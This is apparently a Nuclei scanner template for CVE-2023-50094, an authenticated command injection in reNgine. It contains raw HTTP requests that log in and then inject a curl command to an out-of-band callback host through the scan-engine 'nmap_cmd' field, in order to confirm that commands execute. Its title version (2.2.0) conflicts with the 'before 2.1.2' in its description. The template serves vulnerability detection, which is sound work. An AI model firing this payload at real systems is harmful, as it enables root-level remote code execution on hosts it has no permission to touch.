漏洞描述
reNgine before 2.1.2 allows OS Command Injection if an adversary has a valid session ID. The attack places shell metacharacters in an api/tools/waf_detector/?url= string. The commands are executed as root via subprocess.check_output.
id: CVE-2023-50094
info:
name: reNgine 2.2.0 - Command Injection
author: Zierax
severity: high
description: |
reNgine before 2.1.2 allows OS Command Injection if an adversary has a valid session ID. The attack places shell metacharacters in an api/tools/waf_detector/?url= string. The commands are executed as root via subprocess.check_output.
reference:
- https://github.com/yogeshojha/rengine
- https://github.com/Zierax/CVE-2023-50094_POC
- https://nvd.nist.gov/vuln/detail/CVE-2023-50094
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-50094
cwe-id: CWE-78
epss-score: 0.92174
epss-percentile: 0.99703
cpe: cpe:2.3:a:yogeshojha::*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: yogeshojha
product: rengine
shodan-query: title:"reNgine"
tags: cve,cve2023,rengine,rce,injection,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers:
- type: dsl
dsl:
- 'contains(tolower(body), "rengine")'
internal: true
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /scan-engine/update HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"nmap_cmd": 'curl {{interactsh-url}}'}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol_2, "dns")'
- 'status_code_2 == 200'
condition: and
# digest: 4a0a00473045022100d887f5f69a640e02a2b587c6b84045c8f8d65fd20d8ca4f80e06dd2612d8909a02207595a5da512576edaa2bd6a3bdc8ce46ea3e5db2447ed98690ba4c3ad35a27a9:922c64590222798bb761d5b6d8e72950